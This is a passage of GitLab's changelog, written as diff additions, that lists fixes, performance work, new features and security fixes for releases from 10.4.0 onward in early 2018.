+- Ensure users cannot create environments with leading or trailing slashes (Fixes #39885). !15273
+- Fix new project path input overlapping. !16755 (George Tsiolis)
+- Respect description and visibility when creating project from template. !16820 (George Tsiolis)
+- Remove user notification settings for groups and projects when user leaves. !16906 (Jacopo Beschi @jacopo-beschi)
+- Fix Teleporting Emoji. !16963 (Jared Deckard <jared.deckard@gmail.com>)
+- Fix duplicate system notes when merging a merge request. !17035
+- Fix breadcrumb on labels page for groups. !17045 (Onuwa Nnachi Isaac)
+- Fix user avatar's vertical align on the issues and merge requests pages. !17072 (Laszlo Karpati)
+- Fix settings panels not expanding when fragment hash linked. !17074
+- Fix 404 when listing archived projects in a group where all projects have been archived. !17077 (Ashley Dumaine)
+- Allow to call PUT /projects/:id API with only ci_config_path specified. !17105 (Laszlo Karpati)
+- Fix long list of recipients on group request membership email. !17121 (Jacopo Beschi @jacopo-beschi)
+- Remove duplicated error message on duplicate variable validation. !17135
+- Keep "Import project" tab/form active when validation fails trying to import "Repo by URL". !17136
+- Fixed bug with unauthenticated requests through git ssh. !17149
+- Allows project rename after validation error. !17150
+- Fix "Remove source branch" button in Merge request widget during merge when pipeline succeeds state. !17192
+- Add missing pagination on the commit diff endpoint. !17203 (Maxime Roussin-Bélanger)
+- Fix get a single pages domain when project path contains a period. !17206 (Travis Miller)
+- remove avater underline. !17219 (Ken Ding)
+- Allows the usage of /milestone quick action for group milestones. !17239 (Jacopo Beschi @jacopo-beschi)
+- Encode branch name as binary before creating a RPC request to copy attributes. !17291
+- Restart Unicorn and Sidekiq when GRPC throws 14:Endpoint read failed. !17293
+- Do not persist Google Project verification flash errors after a page reload. !17299
+- Ensure group issues and merge requests pages show results from subgroups when there are no results from the current group. !17312
+- Prevent trace artifact migration to incur data loss. !17313
+- Fixes gpg popover layout. !17323
+- Return a 404 instead of 403 if the repository does not exist on disk. !17341
+- Fix Slack/Mattermost notifications not respecting `notify_only_default_branch` setting for pushes. !17345
+- Fix Group labels load failure when there are duplicate labels present. !17353
+- Allow Prometheus application to be installed from Cluster applications. !17372
+- Fixes Prometheus admin configuration page. !17377
+- Enable filtering MR list based on clicked label in MR sidebar. !17390
+- Fix code and wiki search results pages when non-ASCII text is displayed. !17413
+- Count comments on diffs and discussions as contributions for the contributions calendar. !17418 (Riccardo Padovani)
+- Add Assignees vue component missing data container. !17426 (George Tsiolis)
+- Update tooltip on pipeline cancel to Stop (#42946). !17444
+- Removing the two factor check when the user sets a new password. !17457
+- Fix quick actions for users who cannot update issues and merge requests. !17482
+- Stop loading spinner on error of milestone update on issue. !17507 (Takuya Noguchi)
+- Set margins around dropdown dividers to 4px. !17517
+- Fix pages flaky failure by reloading stale object. !17522
+- Remove extra breadcrumb on tags. !17562 (Takuya Noguchi)
+- Fix missing uploads after group transfer. !17658
+- Fix markdown table showing extra column. !17669
+- Ensure the API returns https links when https is configured. !17681
+- Sanitize extra blank spaces used when uploading a SSH key. !40552
+- Render htmlentities correctly for links not supported by Rinku.
+- Keep link when redacting unauthorized object links.
+- Handle empty state in Pipelines page.
+- Revert Project.public_or_visible_to_user changes and only apply to snippets.
+- Release libgit2 cache and open file descriptors after `git gc` run.
+- Fix project dashboard showing the wrong timestamps.
+- Fix "Can't modify frozen hash" error when project is destroyed.
+- Fix Error 500 when viewing a commit with a GPG signature in Geo.
+- Don't error out in system hook if user has `nil` datetime columns.
+- Remove double caching of Repository#empty?.
+- Don't delete todos or unassign issues and MRs when a user leaves a project.
+- Don't cache a nil repository root ref to prevent caching issues.
+- Escape HTML entities in commit messages.
+- Verify project import status again before marking as failed.
+- [GitHub Import] Create an empty wiki if wiki import failed.
+- Create empty wiki when import from GitLab and wiki is not there.
+- Make sure wiki exists when it's enabled.
+- Fix broken loading state for close issue button.
+- Fix code and wiki search results when filename is non-ASCII.
+- Fix file upload on project show page.
+- Fix squashing when a file is renamed.
+- Show loading button inline in refresh button in MR widget.
+- Fix close button on issues not working on mobile.
+- Adds tooltip in environment names to increase readability.
+- Fixed issue edit shortcut not opening edit form.
+- Fix 500 error being shown when diff has context marker with invalid encoding.
+- Render modified icon for moved file in changes dropdown.
+- Remember assignee when moving an issue.
+
+### Changed (16 changes, 9 of them are from the community)
+
+- Allow including custom attributes in API responses. !16526 (Markus Koller)
+- Apply new default and inline label design. !16956 (George Tsiolis)
+- Remove whitespace from the username/email sign in form field. !17020 (Peter lauck)
+- CI charts now include the current day. !17032 (Dakkaron)
+- Hide CI secret variable values after saving. !17044
+- Add new modal Vue component. !17108
+- Asciidoc now support inter-document cross references between files in repository. !17125 (Turo Soisenniemi)
+- Update issue closing pattern to allow variations in punctuation. !17198 (Vicky Chijwani)
+- Add a button to deploy a runner to a Kubernetes cluster in the settings page. !17278
+- Pages custom domain: allow update of key/certificate. !17376 (rfwatson)
+- Clear the Labels dropdown search filter after a selection is made. !17393 (Andrew Torres)
+- Hook data for pipelines includes detailed_status. !17607
+- Avoid showing unnecessary Trigger checkboxes for project Integrations with only one event. !17607
+- Display a link to external issue tracker when enabled.
+- Allow token authentication on go-get request.
+- Update SSH key link to include existing keys. (Brendan O'Leary)
+
+### Performance (24 changes, 5 of them are from the community)
+
+- Add catch-up background migration to migrate pipeline stages. !15741
+- Move BoardNewIssue vue component. !16947 (George Tsiolis)
+- Move IssuableTimeTracker vue component. !16948 (George Tsiolis)
+- Move RecentSearchesDropdownContent vue component. !16951 (George Tsiolis)
+- Move Assignees vue component. !16952 (George Tsiolis)
+- Improve performance of pipeline page by reducing DB queries. !17168
+- Store sha256 checksum to job artifacts. !17354
+- Move SidebarAssignees vue component. !17398 (George Tsiolis)
+- Improve database response time for user activity listing. !17454
+- Use persisted/memoized value for MRs shas instead of doing git lookups. !17555
+- Cache MergeRequests can_be_resolved_in_ui? git operations. !17589
+- Prevent the graphs page from generating unnecessary Gitaly requests. !37602
+- Use a user object in ApplicationHelper#avatar_icon where possible to avoid N+1 queries. !42800
+- Submit a single batch blob RPC to Gitaly per HTTP request when viewing diffs.
+- Avoid re-fetching merge-base SHA from Gitaly unnecessarily.
+- Don't use ProjectsFinder in TodosFinder.
+- Adding missing indexes on taggings table.
+- Add index on section_name_id on ci_build_trace_sections table.
+- Cache column_exists? for application settings.
+- Cache table_exists?('application_settings') to reduce repeated schema reloads.
+- Make --prune a configurable parameter in fetching a git remote.
+- Fix timeouts loading /admin/projects page.
+- Add partial indexes on todos to handle users with many todos.
+- Optimize search queries on the search page by setting a limit for matching records in project scope.
+
+### Added (30 changes, 9 of them are from the community)
+
+- Add CommonMark markdown engine (experimental). !14835 (blackst0ne)
+- API: Get references a commit is pushed to. !15026 (Robert Schilling)
+- Add overview of branches and a filter for active/stale branches. !15402 (Takuya Noguchi)
+- Add project export API. !15860 (Travis Miller)
+- expose more metrics in merge requests api. !16589 (haseebeqx)
+- #28481: Display time tracking totals on milestone page. !16753 (Riccardo Padovani)
+- Add a button on the project page to set up a Kubernetes cluster and enable Auto DevOps. !16900
+- Include cycle time in usage ping data. !16973
+- Add ability to use external plugins as an alternative to system hooks. !17003
+- Add search param to Branches API. !17005 (bunufi)
+- API endpoint for importing a project export. !17025
+- Display ingress IP address in the Kubernetes page. !17052
+- Implemented badge API endpoints. !17082
+- Allow installation of GitLab Runner with a single click. !17134
+- Allow commits endpoint to work over all commits of a repository. !17182
+- Display Runner IP Address. !17286
+- Add archive feature to trace. !17314
+- Allow maintainers to push to forks of their projects when a merge request is open. !17395
+- Foreground verification of uploads and LFS objects. !17402
+- Adds updated_at filter to issues and merge_requests API. !17417 (Jacopo Beschi @jacopo-beschi)
+- Port /wip quick action command to Merge Request creation (on description). !17463 (Adam Pahlevi)
+- Add a paragraph about security implications on Cluster's page. !17486
+- Add plugins list to the system hooks page. !17518
+- Enable privileged mode for GitLab Runner. !17528
+- Expose GITLAB_FEATURES as CI/CD variable (fixes #40994).
+- Upgrade GitLab Workhorse to 4.0.0.
+- Add discussions API for Issues and Snippets.
+- Add one group board to Libre.
+- Add support for filtering by source and target branch to merge requests API.
+
+### Other (18 changes, 7 of them are from the community)
+
+- Group MRs on issue page by project and namespace. !8494 (Jeff Stubler)
+- Make oauth provider login generic. !8809 (Horatiu Eugen Vlad)
+- Add email button to new issue by email. !10942 (Islam Wazery)
+- Update vue component naming guidelines. !17018 (George Tsiolis)
+- Added new design for promotion modals. !17197
+- Update to github-linguist 5.3.x. !17241 (Ken Ding)
+- update toml-rb to 1.0.0. !17259 (Ken Ding)
+- Keep track of projects a user interacted with. !17327
+- Moved o_auth/saml/ldap modules under gitlab/auth. !17359 (Horatiu Eugen Vlad)
+- Enables eslint in codeclimate job. !17392
+- Port Labels Select dropdown to Vue. !17411
+- Add NOT NULL constraint to projects.namespace_id. !17448
+- Ensure foreign keys on clusters applications. !17488
+- Started translation into Turkish, Indonesian and Filipino. !17526
+- Add documentation for displayed K8s Ingress IP address (#44330). !17836
+- Move Ruby endpoints to OPT_OUT.
+- Upgrade Workhorse to version 3.8.0 to support structured logging.
+- Use host URL to build JIRA remote link icon.
+
+
+## 10.5.8 (2018-04-24)
+
+### Security (1 change)
+
+- Sanitizes user name to avoid XSS attacks.
+
+
+## 10.5.7 (2018-04-03)
+
+### Security (2 changes)
+
+- Fix XSS on diff view stored on filenames.
+- Adds confidential notes channel for Slack/Mattermost.
+
+
+## 10.5.6 (2018-03-16)
+
+### Security (2 changes)
+
+- Fixed some SSRF vulnerabilities in services, hooks and integrations. !2337
+- Fix GitLab Auth0 integration signing in the wrong user.
+
+
+## 10.5.5 (2018-03-15)
+
+### Fixed (3 changes)
+
+- Fix missing uploads after group transfer. !17658
+- Fix code and wiki search results when filename is non-ASCII.
+- Remove double caching of Repository#empty?.
+
+### Performance (2 changes)
+
+- Adding missing indexes on taggings table.
+- Add index on section_name_id on ci_build_trace_sections table.
+
+
+## 10.5.4 (2018-03-08)
+
+### Fixed (11 changes)
+
+- Encode branch name as binary before creating a RPC request to copy attributes. !17291
+- Restart Unicorn and Sidekiq when GRPC throws 14:Endpoint read failed. !17293
+- Ensure group issues and merge requests pages show results from subgroups when there are no results from the current group. !17312
+- Prevent trace artifact migration to incur data loss. !17313
+- Return a 404 instead of 403 if the repository does not exist on disk. !17341
+- Allow Prometheus application to be installed from Cluster applications. !17372
+- Fixes Prometheus admin configuration page. !17377
+- Fix code and wiki search results pages when non-ASCII text is displayed. !17413
+- Fix pages flaky failure by reloading stale object. !17522
+- Fixed issue edit shortcut not opening edit form.
+- Revert Project.public_or_visible_to_user changes and only apply to snippets.
+
+### Performance (1 change)
+
+- Don't use ProjectsFinder in TodosFinder.
+
+
+## 10.5.3 (2018-03-01)
+
+### Security (1 change)
+
+- Ensure that OTP backup codes are always invalidated.
+
+
+## 10.5.2 (2018-02-25)
+
+### Fixed (7 changes)
+
+- Fix single digit value clipping for stacked progress bar. !17217
+- Fix issue with cache key being empty when variable used as the key. !17260
+- Enable Legacy Authorization by default on Cluster creations. !17302
+- Allow branch names to be named the same as the sha it points to.
+- Fix 500 error when loading an invalid upload URL.
+- Don't attempt to update user tracked fields if database is in read-only.
+- Prevent MR Widget error when no CI configured.
+
+### Performance (5 changes)
+
+- Improve query performance for snippets dashboard. !17088
+- Only check LFS integrity for first ref in a push to avoid timeout. !17098
+- Improve query performance of MembersFinder. !17190
+- Increase feature flag cache TTL to one hour.
+- Improve performance of searching for and autocompleting of users.
+
+
+## 10.5.1 (2018-02-22)
+
+- No changes.
+
+## 10.5.0 (2018-02-22)
+
+### Security (3 changes, 1 of them is from the community)
+
+- Update marked from 0.3.6 to 0.3.12. !16480 (Takuya Noguchi)
+- Update nokogiri to 1.8.2. !16807
+- Add verification for GitLab Pages custom domains.
+
+### Fixed (77 changes, 25 of them are from the community)
+
+- Fix the Projects API with_issues_enabled filter behaving incorrectly any user. !12724 (Jan Christophersen)
+- Hide pipeline schedule take ownership for current owner. !12986
+- Handle special characters on API request of issuable templates. !15323 (Takuya Noguchi)
+- Shows signin tab after new user email confirmation. !16174 (Jacopo Beschi @jacopo-beschi)
+- Make project README containers wider on fixed layout. !16181 (Takuya Noguchi)
+- Fix dashboard projects nav links height. !16204 (George Tsiolis)
+- Fix error on empty query for Members API. !16235
+- Issue board: fix for dragging an issue to the very bottom in long lists. !16250 (David Kuri)
+- Make rich blob viewer wider for PC. !16262 (Takuya Noguchi)
+- Substitute deprecated ui_charcoal with new default ui_indigo. !16271 (Takuya Noguchi)
+- Generate HTTP URLs for custom Pages domains when appropriate. !16279
+- Make modal dialog common for Groups tree app. !16311
+- Allow moving wiki pages from the UI. !16313
+- Filter groups and projects dropdowns of search page on backend. !16336
+- Adjust layout width for fixed layout. !16337 (George Tsiolis)
+- Fix custom header logo design nitpick: Remove unneeded margin on empty logo text. !16383 (Markus Doits)
+- File Upload UI can create LFS pointers based on .gitattributes. !16412
+- Fix Ctrl+Enter keyboard shortcut saving comment/note edit. !16415
+- Fix file search results when they match file contents with a number between two colons. !16462
+- Fix tooltip displayed for running manual actions. !16489
+- Allow trailing + on labels in board filters. !16490
+- Prevent JIRA issue identifier from being humanized. !16491 (Andrew McCallum)
+- Add horizontal scroll to wiki tables. !16527 (George Tsiolis)
+- Fix a bug calculating artifact size for project statistics. !16539
+- Stop loading spinner on error of issuable templates. !16600 (Takuya Noguchi)
+- Allows html text in commits atom feed. !16603 (Jacopo Beschi @jacopo-beschi)
+- Disable MR check out button when source branch is deleted. !16631 (Jacopo Beschi @jacopo-beschi)
+- Fix export removal for hashed-storage projects within a renamed or deleted namespace. !16658
+- Default to HTTPS for all Gravatar URLs. !16666
+- Login via OAuth now only marks new users as external. !16672
+- Fix default avatar icon missing when Gravatar is disabled. !16681 (Felix Geyer)
+- Change button group width on mobile. !16726 (George Tsiolis)
+- Fix version information not showing on help page if commercial content display was disabled. !16743
+- Adds spacing between edit and delete tag btn in tag list. !16757 (Jacopo Beschi @jacopo-beschi)
+- Fix 500 error when loading a merge request with an invalid comment. !16795
+- Deleting an upload will correctly clean up the filesystem. !16799
+- Cleanup new branch/merge request form in issues. !16854
+- Fix GitLab import leaving group_id on ProjectLabel. !16877
+- Fix forking projects when no restricted visibility levels are defined applicationwide. !16881
+- Trigger change event on filename input when file template is applied. !16911 (Sebastian Klingler)
+- Fixes different margins between buttons in tag list. !16927 (Jacopo Beschi @jacopo-beschi)
+- Close low level rugged repository in project cache worker. !16930 (Bastian Blank)
+- Override group sidebar links. !16942 (George Tsiolis)
+- Avoid running `PopulateForkNetworksRange`-migration multiple times. !16988
+- Resolve PrepareUntrackedUploads PostgreSQL syntax error. !17019
+- Fix monaco editor features which were incompatible with GitLab CDN settings. !17021
+- Fixed error 500 when removing an identity with synced attributes and visiting the profile page. !17054
+- Fix cnacel edit note button reverting changes. !42462
+- For issues display time of last edit of title or description instead of time of any attribute change.
+- Handle all Psych YAML parser exceptions (fixes #41209).
+- Fix validation of environment scope of variables.
+- Display user friendly error message if rebase fails.
+- Hide new branch and tag links for projects with an empty repo.
+- Fix protected branches API to accept name parameter with dot.
+- Closes #38540 - Remove .ssh/environment file that now breaks the gitlab:check rake task.
+- Keep subscribers when promoting labels to group labels.
+- Replace verified badge icons and uniform colors.
+- Fix error on changes tab when merge request cannot be created.
+- Ignore leading slashes when searching for files within context of repository. (Andrew McCallum)
+- Close and do not reload MR diffs when source branch is deleted.
+- Bypass commits title markdown on notes.
+- Reload MRs memoization after diffs creation.
+- Return more consistent values for merge_status on MR APIs.
+- Contribution calendar label was cut off. (Branka Martinovic)
+- LDAP Person no longer throws exception on invalid entry.
+- Fix bug where award emojis would be lost when moving issues between projects.
+- Fix not all events being shown in group dashboard.
+- Fix JIRA not working when a trailing slash is included.
+- Fix squash not working when diff contained non-ASCII data.
+- Remove erroneous text in shared runners page that suggested more runners available.
+- Execute system hooks after-commit when executing project hooks.
+- Makes forking protect default branch on completion.
+- Validate user, group and project paths consistently, and only once.
+- Validate user namespace before saving so that errors persist on model.
+- Permits 'password_authentication_enabled_for_git' parameter for ApplicationSettingsController.
+- Fix duplicate item in protected branch/tag dropdown.
+- Open visibility level help in a new tab. (Jussi Räsänen)
+
+### Deprecated (1 change)
+
+- Add note within ux documentation that further changes should be made within the design.gitlab project.
+
+### Changed (20 changes, 7 of them are from the community)
+
+- Show coverage to two decimal points in coverage badge. !10083 (Jeff Stubler)
+- Update 'removed assignee' note to include old assignee reference. !16301 (Maurizio De Santis)
+- Move row containing Projects, Users and Groups count to the top in admin dashboard. !16421
+- Add Auto DevOps Domain application setting. !16604
+- Changes Revert this merge request text. !16611 (Jacopo Beschi @jacopo-beschi)
+- Link Auto DevOps settings to Clusters page. !16641
+- Internationalize charts page. !16687 (selrahman)
+- Internationalize graph page selrahman. !16688 (Shah El-Rahman)
+- Save traces as artifacts. !16702
+- Hide variable values on pipeline schedule edit page. !16729
+- Update runner info on all authenticated requests. !16756
+- Improve issue note dropdown and mr button. !16758 (George Tsiolis)
+- Replace "cluster" with "Kubernetes cluster". !16778
+- Enable Prometheus metrics for deployed Ingresses. !16866 (joshlambert)
+- Rename button to enable CI/CD configuration to "Set up CI/CD". !16870
+- Double padding for file-content wiki class on larger screens.
+- Improve wording about additional costs for Ingress on custom clusters.
+- Last push widget will show banner for new pushes to previously merged branch.
+- Save user ID and username in Grape API log (api_json.log).
+- Include subgroup issues and merge requests on the group page.
+
+### Performance (14 changes, 1 of them is from the community)
+
+- Fix double query execution on groups page. !16314
+- Speed up loading merged merge requests when they contained a lot of commits before merging. !16320
+- Properly memoize some predicate methods. !16329
+- Reduce the number of Prometheus metrics. !16443
+- Only highlight search results under the highlighting size limit. !16462
+- Add fast-blank. !16468
+- Move BoardList vue component to vue file. !16888 (George Tsiolis)
+- Fix N+1 query problem for snippets dashboard. !16944
+- Optimize search queries on the search page by setting a limit for matching records.
+- Store number of commits in merge_request_diffs table.
+- Improve performance of target branch dropdown.
+- Remove duplicate calls of MergeRequest#can_be_reverted?.
+- Stop checking if discussions are in a mergeable state if the MR isn't.
+- Remove N+1 queries with /projects/:project_id/{access_requests,members} API endpoints.
+
+### Added (28 changes, 10 of them are from the community)
+
+- Add link on commit page to merge request that introduced that commit. !13713 (Hiroyuki Sato)
+- System hooks for Merge Requests. !14387 (Alexis Reigel)
+- Add `pipelines` endpoint to merge requests API. !15454 (Tony Rom <thetonyrom@gmail.com>)
+- Adds Rubocop rule for line break around conditionals. !15739 (Jacopo Beschi @jacopo-beschi)
+- Add Colors to GitLab Flavored Markdown. !16095 (Tony Rom <thetonyrom@gmail.com>)
+- Initial work to add notification reason to emails. !16160 (Mario de la Ossa)
+- Implement multi server support and use kube proxy to connect to Prometheus servers inside K8S cluster. !16182
+- Add ability to transfer a group into another group. !16302
+- Add blue dot feature highlight to make GKE Clusters more visible to users. !16379
+- Add section headers to plus button dropdown. !16394 (George Tsiolis)
+- Support PostgreSQL 10. !16471
+- Enables Project Milestone Deletion via the API. !16478 (Jacopo Beschi @jacopo-beschi)
+- Add realtime ci status for the repository -> files view. !16523
+- User can now git push to create a new project. !16547
+- Improve empty project overview. !16617 (George Tsiolis)
+- Added uploader metadata to the uploads. !16779
+- Added ldap config setting to lower case the username. !16791
+- Add search support into the API. !16878
+- Backport of LFS File Locking API. !16935
+- Add a link to documentation on how to get external ip in the Kubernetes cluster details page. !16937
+- Add sorting options for /users API (admin only). !16945
+- Adds sorting to deployments API. (Jacopo Beschi @jacopo-beschi)
+- Add rake task to check integrity of uploaded files.
+- Add backend for persistently dismissably callouts.
+- Track and act upon the number of executed queries.
+- Add a gRPC health check to ensure Gitaly is up.
+- Log and send a system hook if a blocked user attempts to login.
+- Add Gitaly Servers admin dashboard.
+
+### Other (25 changes, 7 of them are from the community)
+
+- Updated the katex library. !15864
+- Add modal for deleting a milestone. !16229
+- Remove unused CSS selectors for Cycle Analytics. !16270 (Takuya Noguchi)
+- Add reason to keep postgresql 9.2 for CI. !16277 (Takuya Noguchi)
+- Adjust modal style to new design. !16310
+- Default to Gitaly for 'git push' HTTP/SSH, and make Gitaly mandatory for SSH pull. !16586
+- Set timezone for karma to UTC. !16602 (Takuya Noguchi)
+- Make Gitaly RepositoryExists opt-out. !16680
+- Update minimum git version to 2.9.5. !16683
+- Disable throwOnError in KaTeX to reveal user where is the problem. !16684 (Jakub Jirutka)
+- fix documentation about node version. !16720 (Tobias Gurtzick)
+- Enable RuboCop Style/RegexpLiteral. !16752 (Takuya Noguchi)
+- Add confirmation-input component. !16816
+- Add unique constraint to trending_projects#project_id. !16846
+- Add foreign key and NOT NULL constraints to todos table. !16849
+- Include branch in mobile view for pipelines. !16910 (George Tsiolis)
+- Downgrade google-protobuf gem. !16941
+- Refactors mr widget components into vue files and adds i18n.
+- increase-readability-of-colored-text-in-job-output-log.
+- Finish any remaining jobs for issues.closed_at.
+- Translate issuable sidebar.
+- Set standard disabled state for all buttons.
+- Upgrade GitLab Workhorse to v3.6.0.
+- Improve readability of underlined links for dyslexic users.
+- Adds empty state illustration for pending job.
+
+
+## 10.4.7 (2018-04-03)
+
+### Security (2 changes)
+
+- Fix XSS on diff view stored on filenames.
+- Adds confidential notes channel for Slack/Mattermost.
+
+
+## 10.4.6 (2018-03-16)
+
+### Security (2 changes)
+
+- Fixed some SSRF vulnerabilities in services, hooks and integrations. !2337
+- Fix GitLab Auth0 integration signing in the wrong user.
+
+
+## 10.4.5 (2018-03-01)
+
+### Security (1 change)
+
+- Ensure that OTP backup codes are always invalidated.
+
+
+## 10.4.4 (2018-02-16)
+
+### Security (1 change)
+
+- Update nokogiri to 1.8.2. !16807
+
+### Fixed (9 changes)
+
+- Fix 500 error when loading a merge request with an invalid comment. !16795
+- Cleanup new branch/merge request form in issues. !16854
+- Fix GitLab import leaving group_id on ProjectLabel. !16877
+- Fix forking projects when no restricted visibility levels are defined applicationwide. !16881
+- Resolve PrepareUntrackedUploads PostgreSQL syntax error. !17019
+- Fixed error 500 when removing an identity with synced attributes and visiting the profile page. !17054
+- Validate user namespace before saving so that errors persist on model.
+- LDAP Person no longer throws exception on invalid entry.
+- Fix JIRA not working when a trailing slash is included.
+
+
+## 10.4.3 (2018-02-05)
+
+### Security (4 changes)
+
+- Fix namespace access issue for GitHub, BitBucket, and GitLab.com project importers.
+- Fix stored XSS in code blocks that ignore highlighting.
+- Fix wilcard protected tags protecting all branches.
+- Restrict Todo API mark_as_done endpoint to the user's todos only.
+
+
+## 10.4.2 (2018-01-30)
+
+### Fixed (6 changes)
+
+- Fix copy/paste on iOS devices due to a bug in webkit. !15804
+- Fix missing "allow users to request access" option in public project permissions. !16485
+- Fix encoding issue when counting commit count. !16637
+- Fixes destination already exists, and some particular service errors on Import/Export error. !16714
+- Fix cache clear bug withg using : on Windows. !16740
+- Use has_table_privilege for TRIGGER on PostgreSQL.
+
+### Changed (1 change)
+
+- Vendor Auto DevOps template with DAST security checks enabled. !16691
+
+
+## 10.4.1 (2018-01-24)
+
+### Fixed (4 changes)
+
+- Ensure that users can reclaim a namespace or project path that is blocked by an orphaned route. !16242
+- Correctly escape UTF-8 path elements for uploads. !16560
+- Fix issues when rendering groups and their children. !16584
+- Fix bug in which projects with forks could not change visibility settings from Private to Public. !16595
+
+### Performance (2 changes)
+
+- rework indexes on redirect_routes.
+- Remove unnecessary query from labels filter.
+
+
+## 10.4.0 (2018-01-22)
+
+### Security (8 changes, 1 of them is from the community)
+
+- Upgrade Ruby to 2.3.6 to include security patches. !16016
+- Prevent a SQL injection in the MilestonesFinder.
+- Check user authorization for source and target projects when creating a merge request.
+- Fix path traversal in gitlab-ci.yml cache:key.
+- Fix writable shared deploy keys.
+- Filter out sensitive fields from the project services API. (Robert Schilling)
+- Fix RCE via project import mechanism.
+- Prevent OAuth login POST requests when a provider has been disabled.
+
+### Fixed (68 changes, 24 of them are from the community)
+
+- Update comment on image cursor and icons. !15760
+- Fixes the wording of headers in system info page. !15802 (Gilbert Roulot)
+- Reset todo counters when the target is deleted. !15807
+- Execute quick actions (if present) when creating MR from issue. !15810
+- fix build count in pipeline success mail. !15827 (Christiaan Van den Poel)
+- Fix error that was preventing users to change the access level of access requests for Groups or Projects. !15832
+- Last push event widget width for fixed layout. !15862 (George Tsiolis)
+- Hide link to issues/MRs from labels list if issues/MRs are disabled. !15863 (Sophie Herold)
+- Use relative URL for projects to avoid storing domains. !15876
+- Fix gitlab-rake gitlab:import:repos import schedule. !15931
+- Removed incorrect guidance stating blocked users will be removed from groups and project as members. !15947 (CesarApodaca)
+- Fix some POST/DELETE requests in IE by switching some bundles to Axios for Ajax requests. !15951
+- Fixing error 500 when member exist but not the user. !15970
+- show None when issue is in closed list and no labels assigned. !15976 (Christiaan Van den Poel)
+- Fix tags in the Activity tab not being clickable. !15996 (Mario de la Ossa)
+- Disable Vue pagination when only one page of content is available. !15999 (Mario de la Ossa)
+- disables shortcut to issue boards when issues are not enabled. !16020 (Christiaan Van den Poel)
+- Ignore lost+found folder during backup on a volume. !16036 (Julien Millau)
+- Fix abuse reports link url in admin area navbar. !16068 (megos)
+- Keep typographic hierarchy in User Settings. !16090 (George Tsiolis)
+- Adjust content width for User Settings, GPG Keys. !16093 (George Tsiolis)
+- Fix gitlab-rake gitlab:import:repos import schedule. !16115
+- Fix import project url not updating project name. !16120
+- Fix activity inline event line height on mobile. !16121 (George Tsiolis)
+- Fix slash commands dropdown description mis-alignment on Firefox. !16125 (Maurizio De Santis)
+- Remove unnecessary sidebar element realignment. !16159 (George Tsiolis)
+- User#projects_limit remove DB default and added NOT NULL constraint. !16165 (Mario de la Ossa)
+- Fix API endpoints to edit wiki pages where project belongs to a group. !16170
+- Fix breadcrumbs in User Settings. !16172 (rfwatson)
+- Move 2FA disable button. !16177 (George Tsiolis)
+- Fixing bug when wiki last version. !16197
+- Protected branch is now created for default branch on import. !16198
+- Prevent excessive DB load due to faulty DeleteConflictingRedirectRoutes background migration. !16205
+- Force Auto DevOps kubectl version to 1.8.6. !16218
+- Fix missing references to pipeline objects when restoring project with import/export feature. !16221
+- Fix inconsistent downcase of filenames in prefilled `Add` commit messages. !16232 (James Ramsay)
+- Default merge request title is set correctly again when external issue tracker is activated. !16356 (Ben305)
+- Ensure that emails contain absolute, rather than relative, links to user uploads. !16364
+- Prevent invalid Route path if path is unchanged. !16397
+- Fixing rack request mime type when using rack attack. !16427
+- Prevent RevList failing on non utf8 paths. !16440
+- Fix giant fork icons on forks page. !16474
+- Fix links to uploaded files on wiki pages. !16499
+- Modify `LDAP::Person` to return username value based on attributes.
+- Fixed merge request status badge not updating after merging.
+- Remove related links in MR widget when empty state.
+- Gracefully handle garbled URIs in Markdown.
+- Fix hooks not being set up properly for bare import Rake task.
+- Fix Mermaid drawings not loading on some browsers.
+- Humanize the units of "Showing last X KiB of log" in job trace.
+- Avoid leaving a push event empty if payload cannot be created.
+- Show authored date rather than committed date on the commit list.
+- Fix when branch creation fails don't post system note. (Mateusz Bajorski)
+- Fix viewing merge request diffs where the underlying blobs are unavailable.
+- Fix 500 error when visiting a commit where the blobs do not exist.
+- Set target_branch to the ref branch when creating MR from issue.
+- Fix closed text for issues on Todos page.
+- [API] Fix creating issue when assignee_id is empty.
+- Fix false positive issue references in merge requests caused by header anchor links.
+- Fixed chanages dropdown ellipsis positioning.
+- Fix shortcut links on help page.
+- Clears visual token on second backspace. (Martin Wortschack)
+- Fix onion-skin re-entering state.
+- fix button alignment on MWPS component.
+- Add optional search param for Merge Requests API.
+- Normalizing Identity extern_uid when saving the record.
+- Fixed typo for issue description field declaration. (Marcus Amargi)
+- Fix ANSI 256 bold colors in pipelines job output.
+
+### Changed (18 changes, 3 of them are from the community)
+
+- Make mail notifications of discussion notes In-Reply-To of each other. !14289
+- Migrate existing data from KubernetesService to Clusters::Platforms::Kubernetes. !15589
+- Implement checking GCP project billing status in cluster creation form. !15665
+- Present multiple clusters in a single list instead of a tabbed view. !15669
+- Remove soft removals related code. !15789
+- Only mark import and fork jobs as failed once all Sidekiq retries get exhausted. !15844
+- Translate date ranges on contributors page. !15846
+- Update issuable status icons. !15898
+- Update feature toggle design to use icons and make it i18n friendly. !15904
+- Update groups tree to use GitLab SVG icons, add last updated at information for projects. !15980
+- Allow forking a public project to a private group. !16050
+- Expose project_id on /api/v4/pages/domains. !16200 (Luc Didry)
+- Display graph values on hover within monitoring page. !16261
+- removed tabindexes from tag form. (Marcus Amargi)
+- Move edit button to second row on issue page (and change it to a pencil icon).
+- Run background migrations with a minimum interval.
+- Provide additional cookies to JIRA service requests to allow Oracle WebGates Basic Auth. (Stanislaw Wozniak)
+- Hide markdown toolbar in preview mode.
+
+### Performance (11 changes)
+
+- Improve the performance for counting diverging commits. Show 999+ if it is more than 1000 commits. !15963
+- Treat empty markdown and html strings as valid cached text, not missing cache that needs to be updated.
+- Cache merged and closed events data in merge_request_metrics table.
+- Speed up generation of commit stats by using Rugged native methods.
+- Improve search query for issues.
+- Improve search query for merge requests.
+- Eager load event target authors whenever possible.
+- Use simple Next/Prev paging for jobs to avoid large count queries on arbitrarily large sets of historical jobs.
+- Improve performance of MR discussions on large diffs.
+- Add index on namespaces lower(name) for UsersController#exists.
+- Fix timeout when filtering issues by label.
+
+### Added (26 changes, 8 of them are from the community)
+
+- Support new chat notifications parameters in Services API. !11435
+- Add online and status attribute to runner api entity. !11750
+- Adds ordering to projects contributors in API. !15469 (Jacopo Beschi @jacopo-beschi)
+- Add assets_sync gem to Gemfile. !15734
+- Add a gitlab:tcp_check rake task. !15759
+- add support for sorting in tags api. !15772 (haseebeqx)
+- Add Prometheus to available Cluster applications. !15895
+- Validate file status when committing multiple files. !15922
+- List of avatars should never show +1. !15972 (Jacopo Beschi @jacopo-beschi)
+- Do not generate NPM links for private NPM modules in blob view. !16002 (Mario de la Ossa)
+- Backport fast database lookup of SSH authorized_keys from EE. !16014
